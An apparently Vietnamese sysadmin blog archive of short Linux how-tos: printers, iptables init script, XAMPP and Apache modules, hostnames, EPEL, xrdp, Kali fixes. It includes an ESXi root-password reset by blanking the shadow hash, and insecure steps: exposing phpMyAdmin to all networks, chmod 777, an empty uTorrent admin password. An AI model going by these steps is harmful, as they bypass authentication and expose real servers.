Thứ Ba, 17 tháng 11, 2015

How to install configure printers on Linux

Install required packages
apt-get install cups cups-client "foomatic-db".
Add user to lpadmin group
adduser root lpadmin
Output
 Adding user `root' to group `lpadmin' ...
 Adding user root to group lpadmin
 Done.
Restart cups and samba service
service cups restart 
service samba restart
 Find USB printer
netstat -ant | grep 631 
lsusb
Configuring Printer
     Open browser and type:
    http://127.0.0.1:631/
    In semicolon: CUPS for Administrators
    Click on Adding Printers and Classes
    Click on Add printer
    Type your username(system account) and password(system password)
    Choose your printer
    Follow instructions to complete rest of the installation……
    In System Settings: Go and check
        Printers
    You’ll see your installed printer
Is the printer on Win7 shared? 
try adding it directly using one of the following URI examples:

smb://WORKGROUP_NAME/MACHINE_NAME/PrinterName
smb://MACHINE_NAME/PrinterName
smb://192.168.0.100/PrinterName
List samba shares
smbclient -L < Windows host name > -U < Windows Administrator account >

Read More

Chủ Nhật, 15 tháng 11, 2015

Start/stop iptables on Ubuntu

Iptables is a firewall, installed by default on all official Ubuntu distributions (Ubuntu, Kubuntu, Xubuntu).
Iptables is a command it's not a service, so generally it's not possible to use commands like
service iptables start
or
service iptables stop
In order to start and stop the firewall, but some distros like centos have installed a service called iptables to start and stop the firewall and a configuration file to configure it. Anyway it's possible to make a service to manage iptables editing or installing a script for this scope. All services in linux, ubuntu is not an exception, are executable scripts inside /etc/init.d folder, that implements a standard interface (start,stop,restart) A possible script looks like this:
#!/bin/sh -e
### BEGIN INIT INFO
# Provides:          iptables
# Required-Start:    mountvirtfs ifupdown $local_fs
# Default-Start:     S
# Default-Stop:      0 6
### END INIT INFO

# July 9, 2007
# James B. Crocker <ubuntu@james.crocker.name>
# Creative Commons Attribution - Share Alike 3.0 License (BY,SA)
# Script to load/unload/save iptables firewall settings.

PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"

IPTABLES=/sbin/iptables
IPTABLES_SAVE=/sbin/iptables-save
IPTABLES_RESTORE=/sbin/iptables-restore

IPTABLES_CONFIG=/etc/iptables.conf

[ -x $IPTABLES ] || exit 0

. /lib/lsb/init-functions


case "$1" in
start)
 log_action_begin_msg "Starting firewall"
        type usplash_write >/dev/null 2>/dev/null && usplash_write "TIMEOUT 120" || true
 if $IPTABLES_RESTORE < $IPTABLES_CONFIG ; then
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
        type usplash_write >/dev/null 2>/dev/null && usplash_write "TIMEOUT 15" || true
 ;;

stop)
 log_action_begin_msg "Saving current firewall configuration"
 if $IPTABLES_SAVE > $IPTABLES_CONFIG ; then
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
 log_action_begin_msg "Flushing ALL firewall rules from chains!"
 if $IPTABLES -F ; then
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
 log_action_begin_msg "Deleting ALL firewall chains [Warning: ACCEPTING ALL PORT SERVICES!]"
 if $IPTABLES -X ; then
  $IPTABLES -P INPUT ACCEPT
  $IPTABLES -P FORWARD ACCEPT
  $IPTABLES -P OUTPUT ACCEPT
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
 ;;

save)
 log_action_begin_msg "Saving current firewall configuration"
 if $IPTABLES_SAVE > $IPTABLES_CONFIG ; then
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
 ;;

force-reload|restart)
 log_action_begin_msg "Reloading firewall configuration [Warning: POTENTIAL NETWORK INSECURITY DURING RELOAD]"
 $IPTABLES -F
 $IPTABLES -X
 if $IPTABLES_RESTORE < $IPTABLES_CONFIG ; then
  log_action_end_msg $?
 else
  log_action_end_msg $?
 fi
 ;;

*)
 echo "Usage: /etc/init.d/iptables {start|stop|save|restart|force-reload}"
 exit 1
 ;;
esac

exit 0
This script is part of this tutorial, all the commands to configure the firewall must be inserted, according to the script above, into /etc/iptables.conf file. This script must be inserted into a file called iptables in /etc/init.d and make it executable using

chmod+x *iptables*

and add the service to runlevels using

update-rc.d iptables defaults

You can add new rules from shell, these rules will be immediatly active and will be added to /etc/iptables.conf when service stops(it means them will be saved for sure when system shutdown).
Read More

Thứ Tư, 11 tháng 11, 2015

CentOS / Xampp how to install mod_ruid2

CentOS / Xampp how to install mod_ruid2

1. First install its dependencies:
yum install libcap libcap-devel -y
2. Download lastest version of mod_ruid2 and unpack it
wget http://sourceforge.net/projects/mod-ruid/files/latest/download
tar xvjf mod_ruid2-0.9.8.tar.bz2
cd mod_ruid2-0.9.8
/opt/lampp/bin/apxs -a -i -l cap -c mod_ruid2.c

If it installed correctly, it should say it added a line to the httpd.conf. You can easily check if it's indeed there by the following command.
grep mod_ruid2 /opt/lampp/etc/httpd.conf

it should output something similar as

LoadModule ruid2_module       modules/mod_ruid2.so
3. Configure virtual host
vi /opt/lampp/etc/extra/httpd-vhosts.conf

<VirtualHost *:80>
...
    <IfModule mod_ruid2.c>
        RMode config
        RUidGid 10tut 10tut
    </IfModule>
</VirtualHost>

Read More

CentOS / Xampp Install PHP 5.x FCGID

CentOS / Xampp Install PHP 5.x FCGID

1. Download lastest version from apache.org and unpack.
2. Entering the extracted folder and change the file configure.aspx:
//original
if test "$APXS" = ""; then
  APXS=`which apxs 2>/dev/null`
fi;

//changed
if test "$APXS" = ""; then
  APXS=`which /opt/lampp/bin/apxs 2>/dev/null`
fi;

3. Open Terminal, stop Xampp server, navigate to the extracted folder and run the commands:
./configure.apxs
sudo make
sudo make install
4. Open file lampp/etc/extra/httpd-vhosts.conf and submit FCGID setting:
    <IfModule fcgid_module>
    FcgidInitialEnv PHPRC "/opt/lampp/etc/"
    FcgidInitialEnv SystemRoot "/"
    # FcgidInitialEnv SystemDrive "C:"
    FcgidInitialEnv TEMP "/opt/lampp/temp"
    FcgidInitialEnv TMP "/opt/lampp/temp"
    # FcgidInitialEnv windir "C:/WINDOWS"
    FcgidIOTimeout 64
    FcgidConnectTimeout 16
    FcgidMaxRequestsPerProcess 1000
    FcgidMaxProcesses 3
    FcgidMaxRequestLen 8131072
    # Location php.ini:
    # FcgidInitialEnv PHPRC "/opt/lampp/htdocs"
    FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000

    <Files ~ "\.php$">
    Options Indexes FollowSymLinks ExecCGI
    AddHandler fcgid-script .php
    FcgidWrapper "/opt/lampp/bin/php-cgi-5.5.30" .php
    </Files>
    </IfModule>
5. Start Xampp server. Create a phpinfo.php file with the contents:
<?php phpinfo();?>
then retrieve the browser and search for the line "Find Server API". If you did everything right, the line looks approximately like this:

Server API     CGI/FastCGI

Read More

Setting Security for XAMPP CentOS 6

To make xampp secure do following.
1. Open terminal and login as root.
2. Then type in:
/opt/lampp/lampp security
XAMPP:  Quick security check...
XAMPP:  Your XAMPP pages are NOT secured by a password.
XAMPP: Do you want to set a password? [yes]
XAMPP:  MySQL is accessable via network.
XAMPP: Normaly that's not recommended. Do you want me to turn it off? [yes]
XAMPP:  The MySQL/phpMyAdmin user pma has no password set!!!
XAMPP: Do you want to set a password? [yes]
XAMPP:  MySQL has no root passwort set!!!
XAMPP: Do you want to set a password? [yes]
XAMPP:  The FTP password for user 'daemon' is still set to 'xampp'.
XAMPP: Do you want to change the password? [yes]
XAMPP:  Done.





Read More

Thứ Ba, 10 tháng 11, 2015

Running Vhosts Under Separate UIDs/GIDs With Apache mpm-itk on Xampp

Installing apache2-mpm-itk on xampp
# wget http://mpm-itk.sesse.net/mpm-itk-2.4.7-03.tar.gz
# tar -zxvf mpm-itk-2.4.7-03.tar.gz
# cd mpm-itk-2.4.7-03
[root@10tut mpm-itk-2.4.7-03]# ./configure  --with-apxs=/opt/lampp/bin/apxs
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for cap_init in -lcap... no
checking for --with-apxs... /opt/lampp/bin/apxs
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
[root@10tut mpm-itk-2.4.7-03]#


# make && make install
...


See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------
chmod 755 /opt/lampp/modules/mpm_itk.so

[root@10tut mpm-itk-2.4.7-03]#
# vi /opt/lampp/etc/httpd.conf
...
LoadModule mpm_itk_module modules/mpm_itk.so
Configuring apache2-mpm-itk
Open vhost configuration and add the following lines to it:
[...]
<IfModule mpm_itk_module>
AssignUserId web1_user web1group
</IfModule>
[...]

Sometime vhost folder have error 403, you need to make the public_html and the files there readable by the web server.
One way is to run chmod o+x /home/user (allow everyone to switch to the home directory) and chmod -R o+rX /home/user/public_html (make public_html and files there readable by everyone).
Read More

How to install XAMPP on CentOS/RHEL 6.5

How to install XAMPP on CentOS/RHEL 6.5

XAMPP is a open source cross platform software stack package mainly used for web server solution. XAMPP is available for Windows,MAC OSX,Solaris and Linux(WAMP, MAMP, SAMP, LAMP).
XAMPP stands for –
X = Cross Platform (Windows,MAC OSX,Solaris and Linux)
A = Apache
M = MySQL
P = PHP
P = Perl

NOTE: SELINUX is in Enforcing mode

Step 1: Download the XAMPP
yum install wget
wget https://www.apachefriends.org/xampp-files/5.5.30/xampp-linux-x64-5.5.30-0-installer.run
Step 2:  Give executable permission to downloaded XAMPP script
chmod +x xampp-linux-x64-5.5.30-0-installer.run
Step 3: Run XAMPP installer script
[root@localhost src]# ./xampp-linux-x64-5.5.30-0-installer.run
----------------------------------------------------------------------------
Welcome to the XAMPP Setup Wizard.

----------------------------------------------------------------------------
Select the components you want to install; clear the components you do not want
to install. Click Next when you are ready to continue.

XAMPP Core Files : Y (Cannot be edited)

XAMPP Developer Files [Y/n] :y

Is the selection above correct? [Y/n]: y

----------------------------------------------------------------------------
Installation Directory

XAMPP will be installed to /opt/lampp
Press [Enter] to continue:

----------------------------------------------------------------------------
Setup is now ready to begin installing XAMPP on your computer.

Do you want to continue? [Y/n]: y

----------------------------------------------------------------------------
Please wait while Setup installs XAMPP on your computer.

 Installing
 0% ______________ 50% ______________ 100%
 #########################################

----------------------------------------------------------------------------
Setup has finished installing XAMPP on your computer.

[root@localhost src]#
Step 4: Allow ALL network to access XAMPP Server
Edit the last section of file called httpd-xampp.conf. Add new line Require all granted and comment the line Require local by using # sign
vi /opt/lampp/etc/extra/httpd-xampp.conf
<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
    # Require local
    Require all granted
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>
Step 5 : Restart all services by using lampp script
Restart all the services by using below given command
/opt/lampp/lampp restart
Below given is the reference from my system
[root@localhost src]# /opt/lampp/lampp restart
Restarting XAMPP for Linux 5.5.30-0...
XAMPP: Stopping Apache...ok.
XAMPP: Stopping MySQL...ok.
XAMPP: Stopping ProFTPD...ok.
XAMPP: Starting Apache...ok.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.
[root@localhost src]#

Step 6: Now open the XAMPP in Web browser

Now open the web browser and type the URL or ip-address in address bar
The XAMPP dashboard will be open






Read More

Thứ Ba, 3 tháng 11, 2015

VMWare Image Clone Problem: eth0 Renamed As eth1

VMWare Image Clone Problem: eth0 Renamed As eth1

This is due to wrong or duplicate mac address. To fix this problem login to your CentOS Linux server using console and type the following commands:
# cd /etc/udev/rules.d
# cp 70-persistent-net.rules /root/
# rm 70-persistent-net.rules
# reboot
This file was automatically generated by the /lib/udev/write_net_rules program, run by the persistent-net-generator.rules rules file. Simple delete it and reboot the system to recreate the same. This should fix the problem

You need to remove the MAC address in /etc/sysconfig/network-scripts/ifcfg-eth*. To find out current MAC address, enter:
# ifconfig -a | grep eth1 | grep HWaddr | awk '{ print $5}'
# ifconfig -a | grep eth2 | grep HWaddr | awk '{ print $5}'
Update your /etc/sysconfig/network-scripts/ifcfg-eth0 with eth1 HWaddr (MAC address)
Save and close the file. Restart the network service, enter:
# service network restart


Read More

RHEL / Centos 7 Change and Set Hostname Command

RHEL / Centos 7 Change and Set Hostname Command

On a CentOS Linux 7 server you can use any one of the following tool to manage hostnames:
  1. hostnamectl command : Control the system hostname. This is recommended method.
  2. nmtui command : Control the system hostname using text user interface (TUI).
  3. nmcli command : Control the system hostname using CLI part of NetworkManager.

Method #1: hostnamectl command

Let us see how to use the hostnamectl command.
$ hostnamectl

## OR ##
$ hostnamectl status
Sample outputs:
   Static hostname: centos-7-vm
         Icon name: computer
           Chassis: n/a
        Machine ID: 663f697442a7d2c736c892230000002f
           Boot ID: c1ab056f60170cc0c9b63e1d1ea9c8fb
    Virtualization: oracle
  Operating System: CentOS Linux 7 (Core)
       CPE OS Name: cpe:/o:centos:centos:7
            Kernel: Linux 3.10.0-229.1.2.el7.x86_64
      Architecture: x86_64


How do I set the host name?
The syntax is:
# hostnamectl set-hostname Your-New-Host-Name-Here
# hostnamectl set-hostname "Your New Host Name Here" --pretty
# hostnamectl set-hostname Your-New-Host-Name-Here --static
# hostnamectl set-hostname Your-New-Host-Name-Here --transient
To verify new settings, enter:
# hostnamectl status
How do I delete a particular host name?
The syntax is:
# hostnamectl set-hostname ""
# hostnamectl set-hostname "" --static
# hostnamectl set-hostname "" --pretty

Method #2: nmtui command

You can set host name using nmtui command which has text user interface for new users:
# nmtui
Use the Down arrow key > select the "Set system hostname" menu option > Press the "Ok" button
Finally, restart hostnamed service by typing the following command
# systemctl restart systemd-hostnamed
To verify new hostname, enter:
# hostnamectl status

Method #3: nmcli command

To view the host name using nmcli command:
The syntax is:
# nmcli general hostname
To set the host name using nmcli command:
The syntax is:
# nmcli general hostname 10tut
# nmcli general hostname 10tut.localdomain
Finally, restart the systemd-hostnamed service:
# systemctl restart systemd-hostnamed
check cat /etc/sysconfig/network /etc/hostname

Read More

How Do I Find My Linux Gateway / Router IP Address

How Do I Find My Linux Gateway / Router IP Address

[1] Find out Gateway / router IP address under Linux / UNIX using route command
    You need to use route command. This command can manipulates the kernel’s IP routing tables.
$ route -n
Output:
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.1 is gateway IP address for our computer. The flag U indicates that route is up and G indicates that it is gateway. You can print gateway name, enter:

[2] Find out Gateway / router IP address under Linux / UNIX using netstat command
Open a terminal and type the following command:
# netstat -r -n
Sample outputs:
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.1   0.0.0.0         UG        0 0          0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0



Read More

Set Hostname on CentOS

Set Hostname on CentOS

Change and Set Hostname Command for RHEL / Centos 7 , refer to here

Step 1: Login to your CentOS Server

Locate the IP address of your Server and login as the root user.

ssh root@server

Step 2: Use the hostname utility

Change your hostname to a different name of your choosing. For example:

hostname 10tut.localdomain
Step 3: Edit /etc/hosts

Open the /etc/hosts file with your favorite text editor. For example:

nano /etc/hosts

Change the first line and replace your old hostname with the new one. Save the file and exit the editor.

Step 4: Edit /etc/sysconfig/network

This file also contains your hostname. Open the /etc/sysconfig/network file with your favorite text editor.

Change HOSTNAME=localhost to your desired hostname. For example: HOSTNAME=10tut.localdomain

Step 5: Check your hostname

Run the following command to check your new hostname:

hostname

The new hostname will be displayed in your ssh terminal.
Read More

Thứ Hai, 2 tháng 11, 2015

Booting into a Graphical Environment

Booting into a Graphical Environment

If you have installed the X Window System but are not seeing a graphical desktop environment once you log into your Red Hat Enterprise Linux system, you can start the X Window System graphical interface using the command startx.
Once you enter this command and press Enter, the graphical desktop environment is displayed.
 
Note, however, that this is just a one-time fix and does not change the log in process for future log ins. 

To set up your system so that you can log in at a graphical login screen, you must edit one file, /etc/inittab, by changing just one number in the runlevel section. When you are finished, reboot the computer. The next time you log in, you are presented with a graphical login prompt.
Open a shell prompt. If you are in your user account, become root by typing the su command.
Now, type gedit /etc/inittab to edit the file with gedit. The file /etc/inittab opens. Within the first screen, a section of the file which looks like the following appears:
# Default runlevel. The runlevels used by RHS are: 
#   0 - halt (Do NOT set initdefault to this) 
#   1 - Single user mode 
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking) 
#   3 - Full multiuser mode 
#   4 - unused 
#   5 - X11 
#   6 - reboot (Do NOT set initdefault to this) 
#  id:3:initdefault:
 To change from a console to a graphical login, you should change the number in the line id:3:initdefault: from a 3 to a 5.

When you are satisfied with your change, save and exit the file using the Ctrl-Q keys. A window appears and asks if you would like to save the changes. Click Save.
The next time you log in after rebooting your system, you are presented with a graphical login prompt.


 


Read More

Install Xrdp Server

Install Xrdp Server

Install Xrdp server to connect to CentOS from Windows clients with the Remote Desktop function. 
[1] Install Xrdp server and start it. 
# install from EPEL

[root@dlp ~]# yum --enablerepo=epel -y install xrdp tigervnc-server
[root@dlp ~]# /etc/rc.d/init.d/xrdp start

Starting xrdp:                       [  OK  ]
Starting xrdp-sesman:                [  OK  ]

[root@dlp ~]# chkconfig xrdp on 
[2] Connect from Windows clients. For example on Windows 7, input "mstsc" to start the remote desktop function. 
[3] Input the hostname or IP address you'd like to connect and push the "Connect" button.
[4] Answer with "Yes". 
[5] Input a user which is in CentOS to authenticate.
[6] Just connected. If failed to login at first time (sometimes happens at first login), retry to login again.
Read More

How to Enable EPEL Repository for RHEL/CentOS 7.x/6.x/5.x

How to Enable EPEL Repository for RHEL/CentOS 7.x/6.x/5.x

What is EPEL

EPEL (Extra Packages for Enterprise Linux) is open source and free community based repository project from Fedora team which provides 100% high quality add-on software packages for Linux distribution including RHEL (Red Hat Enterprise Linux), CentOS, and Scientific Linux.

Why we use EPEL repository? 

  1. Provides lots of open source packages to install via Yum.
  2. Epel repo is 100% open source and free to use.
  3. It does not provide any core duplicate packages and no compatibility issues.
  4. All epel packages are maintained by Fedora repo

How To Enable EPEL Repository in RHEL/CentOS 7/6/5?

First, you need to download the file using Wget and then install it using RPM on your system to enable the EPEL repository. Use below links based on your Linux OS versions. (Make sure you must be root user).

RHEL/CentOS 7 64 Bit

## RHEL/CentOS 7 64-Bit ##
# wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm
# rpm -ivh epel-release-7-5.noarch.rpm

RHEL/CentOS 6 32-64 Bit

## RHEL/CentOS 6 32-Bit ##
# wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
# rpm -ivh epel-release-6-8.noarch.rpm

## RHEL/CentOS 6 64-Bit ##
# wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
# rpm -ivh epel-release-6-8.noarch.rpm

RHEL/CentOS 5 32-64 Bit

## RHEL/CentOS 5 32-Bit ##
# wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
# rpm -ivh epel-release-5-4.noarch.rpm

## RHEL/CentOS 5 64-Bit ##
# wget http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm
# rpm -ivh epel-release-5-4.noarch.rpm

RHEL/CentOS 4 32-64 Bit

## RHEL/CentOS 4 32-Bit ##
# wget http://download.fedoraproject.org/pub/epel/4/i386/epel-release-4-10.noarch.rpm
# rpm -ivh epel-release-4-10.noarch.rpm

## RHEL/CentOS 4 64-Bit ##
# wget http://download.fedoraproject.org/pub/epel/4/x86_64/epel-release-4-10.noarch.rpm
# rpm -ivh epel-release-4-10.noarch.rpm

How Do I Use EPEL Repo?

You need to use YUM command for searching and installing packages. For example we search for Zabbix package using epel repo, lets see it is available or not under epel.
# yum --enablerepo=epel info zabbix
Let’s install Zabbix package using epel repo option –enablerepo=epel switch.
# yum --enablerepo=epel install zabbix
From: tecmint[.]com

 



Read More

Thứ Năm, 6 tháng 8, 2015

Enable VPN on Kali Linux – fix VPN grayed out problem

Enable VPN on Kali Linux – fix VPN grayed out problem

This is very simple actually. Just run the following command as root and you’re all set.

aptitude -r install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome
Read More

Thứ Hai, 3 tháng 8, 2015

ESXi - Reset the forgotten root password

1, Boot up esxi host with the Linux live CD. Then ran the commands fdisk -l and ls -l /mnt/sda5/ / ls -l /mnt/sda6/ to determine the location of the most recent state.tgz file.
Note that if you're using ESXi Embedded then you may only see local.tgz instead of state.tgz and you should then copy and recreate that file.


2) After determining where the most recent state.tgz file was located, this was copied to /tmp. gzip and tar were then used to extract local.tgz from state.tgz.
If you're using ESXi Embedded then you will copy local.tgz to tmp and run gzip and tar on that file.
Once local.tar was extracted the cd etc command was run followed by vi shadow.

3) The below two images show the shadow file before and after editing.
Essentially you'll want to have the root entry as root::13358:0:99999:7::: .
Once you have removed the password hash, press ESC and to save the change type in :wq and press Enter.
You can run cat shadow to confirm that the change was saved successfully.



4) Once the shadow file has been updated, you'll use cd .. to go back to /tmp and then run tar -czvf local.tgz etc to create the local.tgz file.
If you're using ESXi Embedded then you'll copy this file to the drive where it came from in step 3.
Otherwise you'll run tar -czvf state.tgz local.tgz to create state.tgz which should then be copied to the correct location.
In the below image you'll notice that I don't always use the -v option with the tar command.
This option displays a list of all files being processed by the command and would have resulted in larger screen output.
It is entirely optional for this process, but can provide a good check to see if the right files are being processed.
When running tar to extract the local file, a large number of files will be processed.
I've also used the ls -l command a few times in the below image. This was done to ensure that the file copied correctly.

5) Once the file has been copied back to the /bootbank partition the host can be rebooted back into ESXi.
You'll be able to login with the root account with no password and will be greeted with the familiar message to change the root password.


Read More

How to list all cron entries on a WHM/cPanel based servers

How to list all cron entries on a WHM/cPanel based servers


Here is the small piece of code that helps

 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 

And Cpanel Crontab Location

/var/spool/cron/
Read More

Kloxo important file location

Kloxo important file location

Round cube

    /home/kloxo/httpd/webmail/roundcube/logs/errors

Mail

    /var/log/kloxo/mailog
    /var/log/kloxo/courier
    /tmp/horde.log
    /var/log/kloxo/smtp.log
    /usr/local/lxlabs/kloxo/mail_send
    /var/qmail/control/me
    /var/qmail/control/rcpthosts
    /var/qmail/control/defaultdomain
    /var/qmail/control/defaulthost
    /var/qmail/control/locals
    /var/qmail/users/assign

        Show the users assigned

FTP

    /var/log/kloxo/pureftpd.log
    /var/run/pure-ftpd.pid

SSH

    /var/log/secure

DNS

    /usr/local/lxlabs/kloxo/log/dns_log

Database

    /var/log/mysqld.log
    /usr/local/lxlabs/kloxo/log/database

SSL

    /var/log/httpd/ssl_error_log

File System

    /usr/local/lxlabs/kloxo/log/filesys
    /usr/local/lxlabs/kloxo/log/nonfilesys
    /usr/local/lxlabs/kloxo/log/remove_oldfile

Bandwitdh

    /usr/local/lxlabs/kloxo/log/get_traffic

Cron

    /usr/local/lxlabs/kloxo/log/cron_error
    /usr/local/lxlabs/kloxo/log/cron_exec
    /var/spool/cron/

        Store the custom crontab per name user inside

Admin

    /usr/local/lxlabs/kloxo/log/admin_error
    /usr/local/lxlabs/kloxo/log/login_success
    /usr/local/lxlabs/kloxo/log/message
    /usr/local/lxlabs/kloxo/log/user_cmd
    /usr/local/lxlabs/kloxo/log/access_log

        Log every access

Internal

    /usr/local/lxlabs/kloxo/log/shell_exec
    /usr/local/lxlabs/kloxo/log/shell_error
    /usr/local/lxlabs/kloxo/log/other_cmd
    /usr/local/lxlabs/kloxo/log/syncserveriherit
    /usr/local/lxlabs/kloxo/log/ajax
    /usr/local/lxlabs/kloxo/log/error

        General error log

    /usr/local/lxlabs/kloxo/log/update
    /usr/local/lxlabs/kloxo/log/watchdog
    /usr/local/lxlabs/kloxo/log/security
    /usr/local/lxlabs/kloxo/log/run_stats
    /usr/local/lxlabs/kloxo/log/redirect_error

PHP

    /usr/local/lxlabs/ext/php/error.log
    /usr/local/lxlabs/kloxo/httpdocs/.php.err

Lighttpd

    /home/kloxo/httpd/lighttpd/error.log
    /home/kloxo/httpd/lighttpd/ligh.log
    /usr/local/lxlabs/kloxo/log/lighttpd_error.log

Apache

    /var/log/httpd/error_log

Others

    /var/log/messages
Read More

Thứ Hai, 6 tháng 7, 2015

How to Install uTorrent Client on Ubuntu/Debian

Install uTorrent Server 3.3

Step 1: Download latest uTorrent Server from here

Note: (You need to download uTorrent Server for 13.04, also works for Ubuntu 14.04)

Step 2: Extract uTorrent Files

    Launch terminal and change directory to Downloads folder

    cd Downloads/

    Extract uTorrent files to the /opt directory

    sudo tar xvzf utserver.tar.gz -C /opt/

Step 3: Set Permission

    Set permission on uTorrent-server folder

    sudo chmod -R 777 /opt/utorrent-server-alpha-v3_3/

Step 4: Set Symbolic link

    Run the command to link uTorrent server to the /user/bin directory.

    sudo ln -s /opt/utorrent-server-alpha-v3_3/utserver /usr/bin/utserver

Step 5: Start uTorrent

utserver -settingspath /opt/utorrent-server-alpha-v3_3/

Note: If you get an error about libssl.so package missing, run the command below to install it, then try starting it again.

sudo apt-get install libssl0.9.8:i386

Step 6: Log into uTorrent

    Open Firefox and browse to the URL

    localhost:8080/gui

    The username is admin and leave the password field empty


Read More

Thứ Năm, 2 tháng 7, 2015

[FIXED] Sửa lỗi gõ tiếng Việt ibus-unikey trên Skype Kali Linux

[FIXED] Sửa lỗi gõ tiếng Việt ibus-unikey trên Skype Kali Linux

Đầu tiên chúng ta cần cài gói ibus-qt4 vì Skype sử dụng Qt để phát triển giao diện.
sudo apt-get install ibus-qt4

Tiếp theo chúng cần chỉnh sửa một số cấu hình cho ibus để ibus có thể load được ibus-qt4 lên. Tệp tin chúng ta cần chỉnh sửa là /etc/X11/xinit/xinput.d/ibus (ở các phiên bản cũ là /etc/X11/xinit/xinput.d/default), thay “=xim” bằng “=ibus”DEPENDS=”ibus, ibus-gtk | ibus-qt4 | ibus-clutter” bằng DEPENDS=”ibus, ibus-gtk, ibus-qt4, ibus-clutter”. Nếu không chắc chắn bạn có thể copy và thay thế toàn bộ với nội dung dưới đây.

Lưu ý: bạn nên sao lưu lại một bản đề phòng trước khi thực hiện thay đổi.
# start IBus
# vim: set sts=4 expandtab:

# start IBus daemon
#/usr/bin/ibus-daemon --daemonize --xim
XIM=ibus
XIM_PROGRAM=/usr/bin/ibus-daemon
XIM_ARGS="--xim"

# set variables for the plain XIM
XMODIFIERS=@im=ibus

GTK_IM_MODULE=ibus
# use immodule only when available for both GTK 2.0 and 3.0
IM_CONFIG_MARKER2=0
for IM_CONFIG_MARKER in /usr/lib/*/gtk-2.0/*/immodules/im-ibus.so \
                        /usr/lib/gtk-2.0/*/immodules/im-ibus.so ; do
    if [ -e $IM_CONFIG_MARKER ]; then
        IM_CONFIG_MARKER2=1
        break
    fi
done

IM_CONFIG_MARKER3=0
for IM_CONFIG_MARKER in /usr/lib/*/gtk-3.0/*/immodules/im-ibus.so \
                        /usr/lib/gtk-3.0/*/immodules/im-ibus.so ; do
    if [ -e $IM_CONFIG_MARKER ]; then
        IM_CONFIG_MARKER3=1
        break
    fi
done
if [ $IM_CONFIG_MARKER2 = 1 ] &amp;&amp; [ $IM_CONFIG_MARKER3 = 1 ] ; then
    GTK_IM_MODULE=ibus
fi

QT_IM_MODULE=ibus
# use immodule when available for Qt4 (Qt3 has been long dead)
for IM_CONFIG_MARKER in /usr/lib/*/qt4/plugins/inputmethods/libqtim-ibus.so\
                        /usr/lib/qt4/plugins/inputmethods/libqtim-ibus.so ; do
    if [ -e $IM_CONFIG_MARKER ]; then
        QT_IM_MODULE=ibus
        break
    fi
done

CLUTTER_IM_MODULE=ibus
# use immodule when available for clutter
for IM_CONFIG_MARKER in /usr/lib/*/clutter-imcontext/immodules/im-ibus.so \
                        /usr/lib/clutter-imcontext/immodules/im-ibus.so; do
    if [ -e $IM_CONFIG_MARKER ]; then
        CLUTTER_IM_MODULE=ibus
        break
    fi
done

DEPENDS="ibus, ibus-gtk, ibus-qt4, ibus-clutter"
Sau đó Đăng xuất Kali Linux và Đăng nhập trở lại là bạn có thể gõ Tiếng Việt trên Skype.
Read More

Fix lỗi Software-center trên Kali-Linux

Fix lỗi Software-center trên Kali-Linux
Đối với Kali-linux version mới nhất sau khi cài đặt Software-Center các bạn sẽ gặp phải lỗi Software-center không chạy hoặc chạy vài giây thì tắt.
Nếu như chạy Software-center từ terminal thì gặp thông báo lỗi sau:

Mã:
Traceback (most recent call last):
  File "/usr/bin/software-center", line 131, in <module>
    from softwarecenter.ui.gtk3.app import SoftwareCenterAppGtk3
  File "/usr/share/software-center/softwarecenter/ui/gtk3/app.py", line 49, in <module>
    from softwarecenter.db.application import Application
  File "/usr/share/software-center/softwarecenter/db/application.py", line 27, in <module>
    from softwarecenter.backend.channel import is_channel_available
  File "/usr/share/software-center/softwarecenter/backend/channel.py", line 25, in <module>
    from softwarecenter.distro import get_distro
  File "/usr/share/software-center/softwarecenter/distro/__init__.py", line 179, in <module>
    distro_instance=_get_distro()
  File "/usr/share/software-center/softwarecenter/distro/__init__.py", line 162, in _get_distro
    module =  __import__(distro_id, globals(), locals(), [], -1)
ImportError: No module named Kali

Hướng dẫn Fix

Mở tập tin __init__.py sử dụng vim hoặc gedit:


Mã:
gedit /usr/share/software-center/softwarecenter/distro/__init__.py

Tại dòng 159 sửa:

Mã:
distro_id = lsb_info["ID"]

Thành

Mã:
distro_id = "Debian"
 Save file và mở terminal chạy lệnh:
update-software-center

Giờ bạn đã có thể sử dụng Software-center bình thường trên Kali-Linux
Read More

Thứ Tư, 1 tháng 7, 2015

Những việc cần làm sau khi cài đặt kali linux-Things to do after installing Kali Linux

Những việc cần làm sau khi cài đặt kali linux-Things to do after installing Kali Linux

